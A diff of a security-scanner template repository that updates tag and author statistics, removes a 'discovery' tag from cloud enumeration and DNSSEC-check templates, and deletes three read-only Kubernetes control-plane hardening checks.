| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|
||||
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
|
||||
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
|
||||
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
|
||||
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
|
||||
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
|
||||
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
|
||||
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
|
||||
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
|
||||
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
|
||||
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
|
||||
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
|
||||
|
||||
**873 directories, 11997 files**.
|
||||
**286개 디렉토리, 4012개 파일**.
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
@@ -1 +1 @@
|
||||
{"tags":[{"name":"vuln","count":6468},{"name":"cve","count":3587},{"name":"discovery","count":3265},{"name":"vkev","count":1394},{"name":"panel","count":1365},{"name":"xss","count":1269},{"name":"wordpress","count":1261},{"name":"exposure","count":1141},{"name":"wp-plugin","count":1103},{"name":"osint","count":848},{"name":"rce","count":834},{"name":"tech","count":821},{"name":"lfi","count":796},{"name":"misconfig","count":784},{"name":"devops","count":742},{"name":"cloud","count":698},{"name":"wp","count":647},{"name":"detect","count":604},{"name":"edb","count":598},{"name":"wpscan","count":570},{"name":"cve2021","count":552},{"name":"packetstorm","count":551},{"name":"cve2022","count":540},{"name":"cve2023","count":516},{"name":"sqli","count":509},{"name":"cve2024","count":501},{"name":"login","count":475},{"name":"unauth","count":469},{"name":"intrusive","count":462},{"name":"authenticated","count":443},{"name":"kev","count":433},{"name":"file","count":379},{"name":"network","count":350},{"name":"cve2020","count":307},{"name":"oast","count":300},{"name":"default-login","count":288},{"name":"config","count":259},{"name":"tcp","count":255},{"name":"apache","count":252},{"name":"token-spray","count":247},{"name":"microsoft","count":244},{"name":"top-200","count":235},{"name":"osint-social","count":232},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"cve2025","count":218},{"name":"auth-bypass","count":213},{"name":"token","count":213},{"name":"malware","count":213},{"name":"azure","count":210},{"name":"","count":206},{"name":"cve2019","count":204},{"name":"cve2018","count":195},{"name":"iot","count":195},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":189},{"name":"code","count":182},{"name":"amazon","count":174},{"name":"install","count":169},{"name":"redirect","count":162},{"name":"ssrf","count":158},{"name":"keys","count":157},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"security","count":141},{"name":"linux","count":137},{"name":"local","count":134},{"name":"router","count":133},{"name":"ftp","count":133},{"name":"cms","count":127},{"name":"files","count":126},{"name":"cve2017","count":123},{"name":"phishing","count":119},{"name":"cve2010","count":115},{"name":"kubernetes","count":113},{"name":"disclosure","count":106},{"name":"audit","count":102},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"js","count":96},{"name":"windows-audit","count":90},{"name":"oss","count":87},{"name":"seclists","count":86},{"name":"oracle","count":85},{"name":"privesc","count":85},{"name":"file-upload","count":84},{"name":"takeover","count":82},{"name":"passive","count":79},{"name":"cisco","count":78},{"name":"enum","count":77},{"name":"windows","count":77},{"name":"fileupload","count":76},{"name":"k8s","count":73},{"name":"adobe","count":69},{"name":"cve2015","count":65},{"name":"detection","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"vmware","count":63},{"name":"cve2016","count":62},{"name":"deserialization","count":62},{"name":"alibaba","count":61},{"name":"c2","count":61},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"cve2014","count":55},{"name":"php","count":53},{"name":"dast","count":51},{"name":"traversal","count":51},{"name":"misc","count":51},{"name":"logs","count":50},{"name":"ssti","count":49},{"name":"ssh","count":49},{"name":"osint-gaming","count":49},{"name":"tenable","count":48},{"name":"aem","count":48},{"name":"api","count":48},{"name":"plugin","count":48},{"name":"log4j","count":48},{"name":"debug","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"cnvd","count":47},{"name":"vulhub","count":46},{"name":"injection","count":46},{"name":"ibm","count":46},{"name":"aliyun","count":45},{"name":"fortinet","count":45},{"name":"jndi","count":44},{"name":"kisa","count":44},{"name":"info-leak","count":43},{"name":"springboot","count":43},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"firewall","count":43},{"name":"ssl","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"listing","count":41},{"name":"tls","count":41},{"name":"wp-theme","count":41},{"name":"sap","count":40},{"name":"postgresql","count":40},{"name":"k8s-cluster-security","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"xxe","count":37},{"name":"jira","count":37},{"name":"devsecops","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-coding","count":36},{"name":"graphql","count":35},{"name":"osint-misc","count":35},{"name":"dns","count":34},{"name":"fuzz","count":34},{"name":"networking","count":34},{"name":"oob","count":34},{"name":"gitlab","count":34},{"name":"printer","count":34},{"name":"yonyou","count":33},{"name":"lfr","count":33},{"name":"vpc","count":31},{"name":"presLine truncated
|
||||
{"tags":[{"name":"cve","count":3330},{"name":"panel","count":1349},{"name":"xss","count":1249},{"name":"wordpress","count":1189},{"name":"exposure","count":1114},{"name":"wp-plugin","count":1038},{"name":"osint","count":841},{"name":"tech","count":811},{"name":"rce","count":796},{"name":"lfi","count":779},{"name":"misconfig","count":763},{"name":"devops","count":740},{"name":"cloud","count":696},{"name":"edb","count":599},{"name":"wp","count":586},{"name":"packetstorm","count":552},{"name":"wpscan","count":536},{"name":"detect","count":517},{"name":"cve2022","count":514},{"name":"cve2021","count":513},{"name":"cve2023","count":492},{"name":"sqli","count":489},{"name":"cve2024","count":476},{"name":"login","count":464},{"name":"unauth","count":445},{"name":"authenticated","count":431},{"name":"intrusive","count":412},{"name":"kev","count":392},{"name":"file","count":379},{"name":"oast","count":291},{"name":"default-login","count":282},{"name":"cve2020","count":279},{"name":"config","count":258},{"name":"token-spray","count":247},{"name":"apache","count":246},{"name":"microsoft","count":241},{"name":"top-200","count":235},{"name":"network","count":233},{"name":"gcp","count":232},{"name":"osint-social","count":226},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"malware","count":213},{"name":"token","count":212},{"name":"azure","count":210},{"name":"","count":206},{"name":"auth-bypass","count":193},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":187},{"name":"cve2018","count":187},{"name":"iot","count":186},{"name":"cve2019","count":183},{"name":"code","count":181},{"name":"amazon","count":175},{"name":"cve2025","count":167},{"name":"install","count":167},{"name":"redirect","count":159},{"name":"keys","count":157},{"name":"ssrf","count":153},{"name":"tcp","count":152},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"security","count":139},{"name":"linux","count":137},{"name":"local","count":134},{"name":"router","count":132},{"name":"files","count":125},{"name":"cms","count":124},{"name":"cve2017","count":120},{"name":"phishing","count":118},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"audit","count":102},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"oss","count":89},{"name":"seclists","count":86},{"name":"privesc","count":84},{"name":"js","count":83},{"name":"takeover","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"windows","count":76},{"name":"cisco","count":76},{"name":"enum","count":73},{"name":"k8s","count":71},{"name":"file-upload","count":70},{"name":"adobe","count":66},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"c2","count":61},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"detection","count":60},{"name":"cve2016","count":60},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"vmware","count":58},{"name":"deserialization","count":56},{"name":"php","count":52},{"name":"dast","count":51},{"name":"misc","count":51},{"name":"cve2014","count":50},{"name":"logs","count":50},{"name":"traversal","count":50},{"name":"ssti","count":49},{"name":"osint-gaming","count":49},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"ssh","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"plugin","count":47},{"name":"debug","count":47},{"name":"vulhub","count":46},{"name":"cnvd","count":46},{"name":"aem","count":46},{"name":"fortinet","count":45},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"kisa","count":44},{"name":"jndi","count":44},{"name":"miscellaneous","count":44},{"name":"oa","count":43},{"name":"ssl","count":43},{"name":"springboot","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":41},{"name":"api","count":41},{"name":"sap","count":40},{"name":"info-leak","count":40},{"name":"dlink","count":39},{"name":"postgresql","count":39},{"name":"cti","count":38},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"osint-coding","count":37},{"name":"wp-theme","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"devsecops","count":34},{"name":"gitlab","count":34},{"name":"networking","count":34},{"name":"lfr","count":34},{"name":"xxe","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"ftp","count":32},{"name":"graphql","count":32},{"name":"yonyou","count":32},{"name":"osint-tech","count":31},{"name":"printer","count":31},{"name":"nginx","count":31},{"name":"vpc","count":31},{"name":"compliance","count":31},{"name":"tomcat","count":30},{"name":"ec2","count":30},{"name":"alibaLine truncated
|
||||
+6948
-7153
File diff suppressed because it is too large.
Load diff
@@ -1,12 +1,12 @@
|
||||
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|
||||
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
|
||||
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
|
||||
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
|
||||
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
|
||||
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
|
||||
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
|
||||
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
|
||||
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
|
||||
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
|
||||
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
|
||||
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
|
||||
| cve | 3330 | dhiyaneshdk | 1871 | http | 9035 | info | 4236 | file | 436 |
|
||||
| panel | 1349 | daffainfo | 868 | cloud | 657 | high | 2486 | dns | 26 |
|
||||
| xss | 1249 | princechaddha | 854 | file | 436 | medium | 2387 | | |
|
||||
| wordpress | 1189 | dwisiswant0 | 806 | code | 249 | critical | 1444 | | |
|
||||
| exposure | 1114 | ritikchaddha | 658 | dast | 238 | low | 322 | | |
|
||||
| wp-plugin | 1038 | pussycat0x | 546 | workflows | 203 | unknown | 56 | | |
|
||||
| osint | 841 | pikpikcu | 352 | network | 151 | | | | |
|
||||
| tech | 811 | pdteam | 310 | javascript | 78 | | | | |
|
||||
| rce | 796 | pdresearch | 271 | ssl | 38 | | | | |
|
||||
| lfi | 779 | iamnoooob | 259 | dns | 23 | | | | |
|
||||
@@ -9,7 +9,7 @@ info:
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
tags: cloud,enum,cloud-enum,aws,discovery
|
||||
tags: cloud,enum,cloud-enum,aws
|
||||
|
||||
self-contained: true
|
||||
|
||||
@@ -34,4 +34,4 @@ http:
|
||||
- 200
|
||||
- 302
|
||||
condition: or
|
||||
# digest: 4b0a00483046022100c72eb76f5a040d1b24e529a3f41d00e23912cbf1a822f0bbc1b70de50fb93cbc022100d1bee6e4d2cdaf0c30963a746715395fc4438d47e6ed5b19f3113ba7f5d32bef:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502202b00629a52cbcc198e7d34d2b64cb589c7f1e3656d03bf8c2c83b46cb0cd93bc022100dd71dc5ea04e3d278424d15691609e6c3a3967ba614fc43af74f11911acc25a1:922c64590222798bb761d5b6d8e72950
|
||||
@@ -9,7 +9,7 @@ info:
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
tags: cloud,enum,cloud-enum,aws,discovery
|
||||
tags: cloud,enum,cloud-enum,aws
|
||||
|
||||
self-contained: true
|
||||
|
||||
@@ -38,4 +38,4 @@ http:
|
||||
name: "Protected AWS S3 Bucket"
|
||||
status:
|
||||
- 403
|
||||
# digest: 4a0a00473045022040330052e09b20ab8d7ce1876fa078a1d9561e6f80c536d599acbd71957fd618022100ee73a27026a07d4ee42e6f938ec0799946111aa9c771840ca9bbd22324910300:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a00463044022042762e76cd970a173e2b6ebcdb6b5eb7a50dee876ca17dc086869e49cb7a0918022074319bef7221719f2a0af22f125dfe951d2bd8caa49399e5e9d0e703a7eac74e:922c64590222798bb761d5b6d8e72950
|
||||
@@ -9,7 +9,7 @@ info:
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
tags: cloud,enum,cloud-enum,azure,dns,discovery
|
||||
tags: cloud,enum,cloud-enum,azure,dns
|
||||
|
||||
self-contained: true
|
||||
|
||||
@@ -29,4 +29,4 @@ dns:
|
||||
part: answer
|
||||
words:
|
||||
- "IN\tA"
|
||||
# digest: 4b0a00483046022100a96a380a899cf2a5b297c97255b60a4badc8e2308c09cd4c276df94752197b71022100fde30e503e271d8078b6bed2a5320912aa65e20e4df8fc84cbc9cd7de415774a:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100996d1a8d7019d1d042888717ee86616809f7ccea1ef47eb0aaaa0e2416b874300220085a76c67e4cd35b6d3a6ce40b9923c00f76857411201bb5d2fe81e195cefb7e:922c64590222798bb761d5b6d8e72950
|
||||
@@ -9,7 +9,7 @@ info:
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
tags: cloud,cloud-enum,azure,fuzz,enum,dns,discovery
|
||||
tags: cloud,cloud-enum,azure,fuzz,enum,dns
|
||||
|
||||
self-contained: true
|
||||
|
||||
@@ -63,4 +63,4 @@ dns:
|
||||
part: answer
|
||||
words:
|
||||
- "IN\tA"
|
||||
# digest: 490a00463044022032a541f5ba8267dc858da6b4bfedc88f03d5f99bd2b94c008e12123d0b532461022058bc8dfa894c8904f459774f9516ba5feacc00d91d50d39659e73a3bb0680a09:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502204d0fc3b9fa192c08f976d00ea8d644b1536049eae245faafd029f246da8e6b1d022100e3a584da363f2d1960192fd6660b09e70c6c9718644931fead2972ed32d5b6ee:922c64590222798bb761d5b6d8e72950
|
||||
@@ -9,7 +9,7 @@ info:
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
tags: cloud,enum,azure,discovery
|
||||
tags: cloud,enum,azure
|
||||
|
||||
self-contained: true
|
||||
|
||||
@@ -34,4 +34,4 @@ http:
|
||||
- 200
|
||||
- 302
|
||||
condition: or
|
||||
# digest: 490a004630440220350306ed3cf366bf163000ac7fcd37ab19ac059636a5fab0deda3b351f1e11e4022039941af02eed8b6659c4933581bc2afb4213c1d8f3451b551c79954015f0da1a:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a004630440220126c63ac565607c646bd1900a65df995c60286fc15c2b779797206c86f0873880220068e36f8ca880bf0632051bb1e4bea5e97a012243737da3b48ee063e6ccac964:922c64590222798bb761d5b6d8e72950
|
||||
@@ -9,7 +9,7 @@ info:
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
tags: enum,cloud,cloud-enum,gcp,discovery
|
||||
tags: enum,cloud,cloud-enum,gcp
|
||||
|
||||
self-contained: true
|
||||
|
||||
@@ -40,4 +40,4 @@ http:
|
||||
- "status_code==302"
|
||||
- contains(location, "login")
|
||||
condition: and
|
||||
# digest: 4b0a00483046022100b7ca6a5620e553021c93b3a71a9afb91726a420ca8cbe42fe1b43debb214b2600221009f199a7494eab9c50e752fa60040ebaf0831b622d5734eb8b3c1d4bf9cb971d4:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a00483046022100fce31a63aab6e8bcaf7cb16745a7d23c0e735104e0b6ff47a0c77e2561e4cb4b022100853c57600af362b2fa7bd3e6551df494fa81dd043de250b32406130b65b183da:922c64590222798bb761d5b6d8e72950
|
||||
@@ -9,7 +9,7 @@ info:
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
tags: cloud,enum,cloud-enum,gcp,discovery
|
||||
tags: cloud,enum,cloud-enum,gcp
|
||||
|
||||
self-contained: true
|
||||
|
||||
@@ -37,4 +37,4 @@ http:
|
||||
name: "Protected GCP Bucket"
|
||||
status:
|
||||
- 403
|
||||
# digest: 4b0a00483046022100f0faf908cbb5f61d20b65f332ad44de601d17049e4cf11b1859b65769a191e09022100c2e00fcfcd4e31c19378a99d4c2e11dd14993b4ccc6cb2b5a66668a2cb4b6f09:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a0046304402201c96ae60fa7a4b6502e37d1f0a368a06326c5d1c0621e333e1baa733a42b1a4902207412bf98d7e4aaf9b755810b30bda7827b495eae85a5607855376c0a1e1d8ab1:922c64590222798bb761d5b6d8e72950
|
||||
@@ -9,7 +9,7 @@ info:
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
tags: enum,cloud,cloud-enum,gcp,discovery
|
||||
tags: enum,cloud,cloud-enum,gcp
|
||||
|
||||
self-contained: true
|
||||
|
||||
@@ -32,4 +32,4 @@ http:
|
||||
name: "Open GCP Firebase App"
|
||||
status:
|
||||
- 200
|
||||
# digest: 490a0046304402204d3c102572e65c69544af4d0472c1e5063d3faa67e07f8c41b9c23c67d3072d502205197c08d89064af55aba6c334c905ed0545b210f4ab2fb79bcbee3f40e5a46da:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a00483046022100d46b37e833fc0fb66e93b0fd4bf7753abe3ff075eeae2735f79e09850585f7a902210081119295893a854aa69d6403778a3dd8818cd265412c0089391bdd5cf185fcb7:922c64590222798bb761d5b6d8e72950
|
||||
@@ -9,7 +9,7 @@ info:
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
tags: enum,cloud,cloud-enum,gcp,discovery
|
||||
tags: enum,cloud,cloud-enum,gcp
|
||||
|
||||
self-contained: true
|
||||
|
||||
@@ -48,4 +48,4 @@ http:
|
||||
name: "Deactivated GCP Firebase RTDB"
|
||||
status:
|
||||
- 423
|
||||
# digest: 4b0a00483046022100b6b2896f4ce1e6a9837be3607a820f1bb941f25bde1af51e9660f64416928fe4022100e967115e55f332bf5b90d6801318bdf25c8c15edb0b4367bc61e2fb618e5381c:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502200fd19c4d2057f25272d37b7df6c1c910f3490fd6beda49f493f4f9daa8d697960221008d426fd69d100daf3ea7af86fb08be3d60d1ed8e505f0df50298aa7155e7a10c:922c64590222798bb761d5b6d8e72950
|
||||
@@ -12,7 +12,7 @@ info:
|
||||
Regularly audit your DNS records and associated IP addresses. Remove any DNS records that point to IP addresses no longer reserved under your Google Cloud account.
|
||||
reference:
|
||||
- https://cloud.google.com/dns/docs
|
||||
tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config,discovery
|
||||
tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config
|
||||
|
||||
flow: |
|
||||
code(1)
|
||||
@@ -88,4 +88,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"Dangling DNS Record: Type: " + recordType + " Data: " + recordData + " in Zone: " + managedZone + " of Project: " + projectId'
|
||||
# digest: 4a0a0047304502204272ac41efa35729e016879c17d50d03f4b6ac55bfb4f8f44988453124e52510022100fa6369224c1eeb6551e2601a926be5495112c2ec965403dd2f0303907a37bfcd:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a0046304402202c5b70acf82fe3e4dbbdf2f4205f693e25cfafc642d5bc9c5b661b7685fcf2ee022032f7c3bd76089463d4bde9e6e4d9de7c25ffc32592167725b57b5ecf86d12e39:922c64590222798bb761d5b6d8e72950
|
||||
@@ -12,7 +12,7 @@ info:
|
||||
Enable DNSSEC for each Google Cloud DNS managed zone through the Google Cloud Console or using the `gcloud dns managed-zones update` command with the `--dnssec-state=on` flag.
|
||||
reference:
|
||||
- https://cloud.google.com/dns/docs/dnssec
|
||||
tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config,discovery
|
||||
tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config
|
||||
|
||||
flow: |
|
||||
code(1)
|
||||
@@ -69,4 +69,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"DNSSEC not enabled for Managed Zone: " + managedZoneName + " in Project: " + projectId'
|
||||
# digest: 4a0a004730450220216452864fd498a37ca7126a7ac05c8ed4ef12e0ac61c64859e224448acedd6e022100a55e457f728bd9ecc9c5827ef7ae05c82e881f7b30df22fb18edd2b3c231a9d6:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100a63467b5c1df819e70daa1a522e5d82b1ebf323053c6059515d504ba3b21a7440220585e48a1e6f01417b987f45713c14ed23a02dcd48f34715a0a31287678703e63:922c64590222798bb761d5b6d8e72950
|
||||
@@ -12,7 +12,7 @@ info:
|
||||
Update the DNSSEC configuration for each DNS managed zone to use more secure algorithms like RSASHA256 or ECDSAP256SHA256 for the Key-Signing Key (KSK).
|
||||
reference:
|
||||
- https://cloud.google.com/dns/docs/dnssec-config
|
||||
tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config,discovery
|
||||
tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config
|
||||
|
||||
flow: |
|
||||
code(1)
|
||||
@@ -69,4 +69,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"Deprecated RSASHA1 algorithm found in DNS managed zone: " + managedZone + " in Project: " + projectId'
|
||||
# digest: 4a0a00473045022100f824e7dde9600cd968137f059bb4796dabfa7cc877e9f5de277b66e0312ec234022028c76505257d8f5ad46be0313ef6d52e7f02f5f3dbcc0feb1f2052d7bd6b7a90:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100f1fba22253f98b9a21cc53aa6992c05c36ec882ebaee328c6b76b5ac3c5688b402206dcf925a8f866fe1240ba4fe8c20b80730229c5443fc645041aa23c0c3ca6758:922c64590222798bb761d5b6d8e72950
|
||||
@@ -12,7 +12,7 @@ info:
|
||||
Update the DNSSEC configuration to use a stronger, more secure signing algorithm like RSASHA256 or ECDSAP256SHA256 for your DNS managed zones.
|
||||
reference:
|
||||
- https://cloud.google.com/dns/docs/dnssec-configuring
|
||||
tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config,discovery
|
||||
tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config
|
||||
|
||||
flow: |
|
||||
code(1)
|
||||
@@ -71,4 +71,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"Deprecated RSASHA1 Algorithm used in DNSSEC for Managed Zone: " + managedZoneName + " in Project: " + projectId'
|
||||
# digest: 4a0a00473045022100b162de9f0763eea4bcf9aa7277cb7298115a69682615a41e7680619b3f5e6a7d022070379ac61ebd9acdcdc3b5a15333969a2b443bd656f0dde2d86cefb9a38155c1:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a00483046022100cb8b9fff2868480c6af2ad01eab469aae458e9d9bab3eff9a7e58b2bcf36d7c7022100d6a35be3a70ec1ae8d2e5abf280603f6b3c1a64e1e2fd5ae89bd0d281d4dda56:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,45 +0,0 @@
|
||||
id: k8s-apiserver-anonymous-access
|
||||
|
||||
info:
|
||||
name: Ensure kube-apiserver --anonymous-auth is explicitly disabled
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: Checks whether kube-apiserver explicitly sets --anonymous-auth=false in its startup arguments.
|
||||
impact: |
|
||||
If --anonymous-auth is not explicitly disabled, anonymous unauthenticated requests might be allowed,
|
||||
enabling unauthenticated access to cluster resources.
|
||||
remediation: |
|
||||
Edit the kube-apiserver manifest (e.g., /etc/kubernetes/manifests/kube-apiserver.yaml) or startup flags
|
||||
and ensure "--anonymous-auth=false" is present in the apiserver arguments.
|
||||
reference:
|
||||
- https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/
|
||||
tags: cloud,devops,kubernetes,security,devsecops,api-server,k8s,k8s-cluster-security
|
||||
|
||||
variables:
|
||||
argument: "--anonymous-auth=false"
|
||||
|
||||
self-contained: true
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}" 2>/dev/null || \
|
||||
kubectl get pods -n kube-system -l k8s-app=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}" 2>/dev/null || \
|
||||
kubectl get pods -n kube-system -o jsonpath="{.items[?(@.metadata.name.indexOf('kube-apiserver')>=0)].spec.containers[*].command}" 2>/dev/null || \
|
||||
echo ""
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- 'kube-apiserver'
|
||||
- type: word
|
||||
words:
|
||||
- "{{argument}}"
|
||||
negative: true
|
||||
|
||||
extractors:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"kube-apiserver configuration does not explicitly set " + argument + ". This may allow anonymous access."'
|
||||
# digest: 4a0a00473045022100d0c4bd2d21dce35e0c47b2d42500b6f9db81b0b3e5c5f7c27969c09297fa84110220190d2e14c1518c8cd02de2d1b1db103825aaf277c283bf400106ca9250da7f32:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,43 +0,0 @@
|
||||
id: k8s-apiserver-token-auth-file
|
||||
|
||||
info:
|
||||
name: Detect kube-apiserver --token-auth-file usage
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: Detects whether kube-apiserver includes the --token-auth-file startup argument.
|
||||
impact: |
|
||||
If the API server is started with --token-auth-file, static token file authentication may be allowed, which can enable long-lived or poorly managed tokens and weaken cluster authentication posture.
|
||||
remediation: |
|
||||
Remove the --token-auth-file argument from the kube-apiserver startup flags (e.g., edit
|
||||
/etc/kubernetes/manifests/kube-apiserver.yaml) or ensure any tokens in that file are rotated
|
||||
and managed securely. Prefer dynamic, short-lived service account tokens and RBAC.
|
||||
reference:
|
||||
- https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/
|
||||
tags: cloud,devops,kubernetes,security,devsecops,api-server,k8s,k8s-cluster-security
|
||||
|
||||
variables:
|
||||
argument: "--token-auth-file"
|
||||
|
||||
self-contained: true
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- 'kube-apiserver'
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "{{argument}}"
|
||||
|
||||
extractors:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"kube-apiserver is configured with " + argument + ". Review and remove if unnecessary."'
|
||||
# digest: 490a004630440220406c76857bf007a985f74be4f4f7f85f7f8da773fb9d363ae9deb4995c4155b10220309ba2bba33bee584dc505e418d7ed08ab3aef4beac30fe1888fa3bccba92797:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,50 +0,0 @@
|
||||
id: k8s-controller-manager-bind-address
|
||||
|
||||
info:
|
||||
name: Ensure kube-controller-manager --bind-address is set to localhost
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
Ensure kube-controller-manager is bound to localhost (127.0.0.1 or ::1). If --bind-address is missing or
|
||||
set to 0.0.0.0 (::), the controller-manager API may be reachable from all network interfaces, increasing
|
||||
exposure of the control-plane component.
|
||||
impact: |
|
||||
If the kube-controller-manager listens on all interfaces, an attacker with network access may be able to
|
||||
interact with the controller-manager API, causing potential information leakage or enabling further attacks
|
||||
against the cluster.
|
||||
remediation: |
|
||||
Set --bind-address=127.0.0.1 (or ::1) in the kube-controller-manager startup arguments. For example, edit
|
||||
/etc/kubernetes/manifests/kube-controller-manager.yaml and add the argument to the command section.
|
||||
reference:
|
||||
- https://kubernetes.io/docs/reference/command-line-tools-reference/kube-controller-manager/
|
||||
- Cloud Vulnerability Assessment Guide(2024) by KISA
|
||||
tags: cloud,devops,kubernetes,devsecops,kube-controller-manager,bind-address,hardening,k8s,k8s-cluster-security
|
||||
|
||||
variables:
|
||||
component: "kube-controller-manager"
|
||||
|
||||
self-contained: true
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
